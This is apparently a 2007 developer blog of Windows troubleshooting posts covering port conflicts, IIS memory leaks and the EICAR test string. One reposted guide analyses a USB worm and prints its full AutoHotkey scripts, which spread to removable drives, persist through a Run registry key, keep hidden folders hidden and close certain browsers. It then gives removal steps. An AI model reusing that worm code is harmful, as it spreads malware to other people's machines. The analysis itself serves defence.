DarenHan's Blog

I am a Dot net asp.net developer working with VS 2005 and SQL 2005 now.

October 2007 - Posts

Today while at work, I get to troubleshoot one of the dot net windows service which refuse to start "running" in the services.msc console. End up one of us discovered the window service refuse to start because another service process is using the same port "8080". The below information will be useful to anyone installing windows service in future.

I goggle and again, found the way to track which process is using the same port as my windows service. 

Windows Command

1. netstat -aon | findstr "<port number>"

This shows if the specified <port number> is being used. The number in the last column is the process id (PID) of the process holding the socket. Once PID is determined, one can refer to "Windows Task Manager" to determine which application corresponds to the PID.

Windows Example

C:\>netstat -aon | findstr "50000"
TCP 0.0.0.0:50000 0.0.0.0:0 LISTENING 2564

C:\>pslist 2564

pslist v1.28 - Sysinternals PsList
Copyright ¬ 2000-2004 Mark Russinovich
Sysinternals

Process information for MACHINENAME:

Name Pid Pri Thd Hnd Priv CPU Time Elapsed Time
db2syscs 2564 8 15 366 30912 0:00:02.859 2:12:08.564

The example above shows the use of pslist to determine the name of the process. Note that pslist is a free command available from Microsoft Sysinternals at http://www.microsoft.com/technet/sysinternals/default.mspx .

 

 

Posted by darenhan | 1 comment(s)

I found some couple of solutions in Google and compiled them here if anyone has problems with memory leak in IIS w3wp.exe :)

Reasons for Memory Leak:

Could be a million things: database connections not being closed, ADO objects not being properly destroyed...unless there's only a few sites on the server you're going to have a lot of trouble tracking down which one is the culprit.

 

Method 1:

Attach a debugger onto that w3wp.exe when it is at 100%, determine what code is currently executing and chewing up CPU cycles, and fix that code to not chew up CPU.

DebugDiag or IISState can help with this.

Debug Diagnostics 1.0 in IIS Diagnostics Toolkit (x86)

-----------------------------------------------------------

http://www.microsoft.com/downloads/details.aspx?FamilyID=9bfa49bc-376b-4a54-95aa-73c9156706e7&DisplayLang=en

http://www.microsoft.com/downloads/details.aspx?FamilyID=9bfa49bc-376b-4a54-95aa-73c9156706e7&DisplayLang=en

 

IISState url

--------------------

http://www.iisfaq.com/default.aspx?view=P197

http://www.iisfaq.com/default.aspx?view=P197

How to read memory dump files by IISState

------------------------------------------

http://www.codeproject.com/debug/moomoo.asp

http://www.codeproject.com/debug/moomoo.asp

http://blogs.msdn.com/joncole/archive/2007/03/29/creating-a-process-memory-dump.aspx

http://blogs.msdn.com/joncole/archive/2007/03/29/creating-a-process-memory-dump.aspx

 

download the debug symbols & debugging tools.

http://www.microsoft.com/whdc/devtools/debugging/default.mspx

http://www.microsoft.com/whdc/devtools/debugging/default.mspx

 

 

Method 2 (more faster way):

-----------

Use

http://iismonitor.motobit.com/

http://iismonitor.motobit.com/

Or

http://www.troxo.com/products/iisguard/ to monitor IIS request

http://www.troxo.com/products/adomonitor/ to monitor bad database connections

With the first two you can monitor what is running, and if this problem is happening quickly, ie causing you problems quickly then you will at least be able to get a snapshot of what was run in that period and at least have narrowed it down to a few sites/files which should make it a little easier to track down?

http://www.troxo.com/products/iisguard/ to monitor IIS request

http://www.troxo.com/products/adomonitor/ to monitor bad database connections

With the first two you can monitor what is running, and if this problem is happening quickly, ie causing you problems quickly then you will at least be able to get a snapshot of what was run in that period and at least have narrowed it down to a few sites/files which should make it a little easier to track down?

http://www.troxo.com/products/adomonitor/ to monitor bad database connections

With the first two you can monitor what is running, and if this problem is happening quickly, ie causing you problems quickly then you will at least be able to get a snapshot of what was run in that period and at least have narrowed it down to a few sites/files which should make it a little easier to track down?

Posted by darenhan | with no comments
http://msdn.microsoft.com/msdnmag/chm/


the above url you can download msdn magazine and read it at your leisure. :)
Posted by darenhan | 2 comment(s)
http://www.scribd.com/

you really need to see this page I found. After upload, look at the right-hand side of the page. There is a listen and play button. It can read out a pdf document using a person voice and you can save that into a mp3.....really cool isn't it.
The next-generation of audio books....:)
Posted by darenhan | with no comments

Open notepad and paste this:


X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*


Save it as eicar.com. The Anti-Virus should stop you (if it does that means its working).

Don't worry about it. European Institute for Computer Anti-virus Research (EICAR) have got people to program Anti-Virus to recognise this as a threat (even tough it's completely harmless).

Posted by darenhan | with no comments

 


Yesterday, my friend Vinay gave me a usb disk and asked me to copy some movies and music into the disk. I took it home and plugged the USB into my system and scanned it with nod32. I detected some viruses which it removed successfully, least I knew that there was another worm which didn’t get detected and it was in to infect my system. I double clicked the USB drive and nothing happened. Hmm strange.. I right clicked and opened the USB drive and found there was no content. Autoplay appears only if there is a Autorun.inf file present in the root of the drive. I didn’t care it much and closed the window to copy data into the drive later.
I wanted to check my mail so ran my beloved browser Firefox, it opened and with in couple of seconds a message box popped up which said ” “I DNT HATE MOZILLA BUT USE IE OR ELSE…” and the header read “USE INTERNET EXPLORER YOU DOPE.” I was like what? It also terminated Firefox This is when I remembered the Autoplay option in the usb drive. This is when I had to open Internet Explorer and Google this text and found the worm name is w32.USBWorm (it was now obvious). Next step was to search for a Removal Tool and to my amazement there was none available!! Nor I could find any information on how to remove it. I decided to give myself a try to remove this worm. I tried opening orkut and Bang another surprise. This is the message it popped up ” ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did?? ” now this is pissing me off. Now, i had no other option but to remove this worm from my system. I pressed ctrl+alt+del and found nothing suspesious there .

Lets see what this worm does

It runs a exe file which is name MicrosoftPowerpoint.exe which is located in the USB disk. The autorun.inf runs this file when double clicked. Once this program is run you are infected. It hides all your hidden folders, runs the process in the memory, makes the worm to start with windows and pops those annoying messages. This worm doesn’t destroy any system files. It just infects other USB drives and spreads to new hosts.

It’s time to KO the Worm

I have PE Tools installed in my PC i ran to find out the running process. I went through all the process and found out that svchost.exe was the one responsible for it. Where PE tools helped me was, svchost.exe was running from a location C:\heap41a . So this is where the worm resides, hmm interesting now deleting the folder would do our task. But it was not so easy, as I terminated this process svchost.exe from the process list it would start again. So I had to boot my XP in safe mode. Why in safe mode is because in safe mode windows loads only the minimum required drivers and doesn’t load any user process, so this means the worm is not started with the windows. Now I searched the folder C:\heap41b but it was hidden. I went to Tools>folder option and select Show all files and folders and pressed ok. I refreshed the c:\ only to find that it won’t show any hidden folders. I again went to the Tools>folder and found the setting of Show all files and folders was reseted. Now how do I see the content, what I did was went to windows search and in advanced option I gave search hidden files and folders and gave svchost.exe as the search keyword. Bang it searched it, so I opened the folder to find out this file was not alone, the other files in this Folder were [offspring], 2.mp3, Icon.ico, reproduce.txt, svchost.exe, drivelist.txt, script1.txt, std.txt . Lets see the content of these text files.

[offspring] - Blank Folder

2.mp3 - A laughing sound

Icon.ico - A blank Icon file

reproduce.txt

#notrayicon
#persistent
ArrayCount = 0
Loop, Read,C:\heap41a\driveList.txt
{
ArrayCount += 1
Array%ArrayCount% := A_LoopReadLine
}
dat1=%userprofile%
settimer,reproduce,5000
return

reproduce:

Loop %ArrayCount%
{

element := Array%A_Index%
driveget,data,Type,%element%:\
ifequal,data,Removable
{
driveget,data1,status,%element%:\
ifequal,data1,Ready
{
FileCopydir,C:\heap41a\offspring,%element%:\,1

}

}
}
regread,regdata,REG_SZ,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\

CurrentVersion\policies\Explorer\Run,winlogon
ifnotequal,regdata,C:\heap41a\svchost.exe C:\heap41a\std.txt
Regwrite,REG_SZ,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\

CurrentVersion\policies\Explorer\Run,winlogon,C:\heap41a\svchost.exe C:\heap41a\std.txt
return

svchost.exe

This is the file that is the culprit. The file responsible for all the annoying pop ups

script1.txt

#persistent
#notrayicon
settimer,ban,2000
return

ban:
WinGetActiveTitle, ed
ifinstring,ed,orkut
{
winclose %ed%
soundplay,C:\heap41a\2.mp3
msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ifinstring,ed,youtube
{
winclose %ed%
soundplay,C:\heap41a\2.mp3
msgbox,262160,youtube IS BANNED,youtube is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ifinstring,ed,Mozilla Firefox
{
winclose %ed%
msgbox,262160,USE INTERNET EXPLORER YOU DOPE,I DNT HATE MOZILLA BUT USE IE `r OR ELSE…,30
return
}
ifwinactive ahk_class IEFrame
{

ControlGetText,ed,edit1,ahk_class IEFrame
ifinstring,ed,orkut
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ControlGetText,ed,edit2,ahk_class IEFrame
ifinstring,ed,orkut
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ControlGetText,ed,edit3,ahk_class IEFrame
ifinstring,ed,orkut
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ControlGetText,ed,edit4,ahk_class IEFrame
ifinstring,ed,orkut
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ControlGetText,ed,edit1,ahk_class IEFrame
ifinstring,ed,youtube
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,youtube IS BANNED,youtube is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ControlGetText,ed,edit2,ahk_class IEFrame
ifinstring,ed,youtube
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,youtube IS BANNED,youtube is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ControlGetText,ed,edit3,ahk_class IEFrame
ifinstring,ed,youtube
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,youtube IS BANNED,youtube is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ControlGetText,ed,edit4,ahk_class IEFrame
ifinstring,ed,youtube
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,youtube IS BANNED,youtube is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}

}
return

std.txt

#notrayicon
#singleinstance,ignore
regread,regdata,REG_DWORD,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\

CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL,checkedvalue
ifnotequal,regdata,2
regwrite,REG_DWORD,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\

CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL,checkedvalue,2
Run C:\heap41a\svchost.exe C:\heap41a\script1.txt
Run C:\heap41a\svchost.exe C:\heap41a\reproduce.txt

These files gave away all that this worm does, after reading the script I found out that this worm also hates Youtube lol.. Most important information it gave was the Registery Keys it modified.

These are the keys that were responsible for the hidden folder problem I faced earlier

regread,regdata,REG_DWORD,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\

CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL,checkedvalue
ifnotequal,regdata,2
regwrite,REG_DWORD,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\

Explorer\Advanced\Folder\Hidden\SHOWALL,checkedvalue,2

Now to rectify this go to Start Menu>Run and type regedit . In the Registry Editor browse to this entry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\

CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL and in the “Checked all” key reset it back to 1 from 2. Now you can change the settings in the folders option. Now delete the folder C:\heap41a and clear all the key entries from this registry entry HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\

CurrentVersion\policies\Explorer\Run which says heap41a.

Now the virus infection is removed 100%. Before you are done make sure you format the usb drive it doesn’t infect other systems too.

All the best. Untill a tool is out for this worm, you can follow this method to remove w32.USBWorm.


source: http://www.jeba.in/posts/w32usbworm-lets-remove-this-worm-manually/

Posted by darenhan | 10 comment(s)

 

1. Start Regedit
2. Go to HKEY_CURRENT_USER\Control Panel\Desktop\AutoEndTasks
3. Set the value to be 1
4. In the same section, change the WaitToKillAppTimeout to the number of milliseconds you want

Posted by darenhan | with no comments